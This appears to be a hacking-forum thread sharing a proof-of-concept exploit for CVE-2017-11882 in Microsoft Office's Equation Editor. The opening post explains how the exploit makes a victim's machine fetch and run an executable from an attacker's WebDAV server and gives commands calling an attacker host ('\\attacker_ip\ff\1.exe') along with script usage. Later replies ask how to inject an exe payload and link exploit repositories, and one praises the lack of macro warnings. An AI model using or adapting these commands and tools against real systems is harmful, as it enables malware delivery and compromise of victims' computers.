[alfascanner]

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/...2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cg...2017-11882

Research: https://embedi.com/blog/skeleton-closet-...know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-m...their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lkt...hrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

Code:

cmd.exe /c start \\attacker_ip\ff

Attacker controlled binary path should be a UNC network path:

Code:

\\attacker_ip\ff\1.exe

Usage

Code:

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.

[hacxx]

That's very nice and all but where is the python file "webdav_exec_CVE-2017-11882.py"

[BadSnow]

Excellent! Without macro notifications!

[killerbeans24]

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/...2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cg...2017-11882

Research: https://embedi.com/blog/skeleton-closet-...know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-m...their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lkt...hrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

Code:

cmd.exe /c start \\attacker_ip\ff

Attacker controlled binary path should be a UNC network path:

Code:

\\attacker_ip\ff\1.exe

Usage

Code:

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

Sample exploit for CVE-2017-11882 (starting calc.exe as payload)
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.

Is there a way to inject an exe file into the exploit ?

[alfascanner]

That's very nice and all but where is the python file "webdav_exec_CVE-2017-11882.py"

There you go!

https://github.com/embedi/CVE-2017-11882...7-11882.py

[alfascanner]

Is there a way to inject an exe file into the exploit ?

This should be helpful.
https://github.com/unamer/CVE-2017-11882

[hacxx]

That's very nice and all but where is the python file "webdav_exec_CVE-2017-11882.py"

There you go!

https://github.com/embedi/CVE-2017-11882...7-11882.py

Thanks...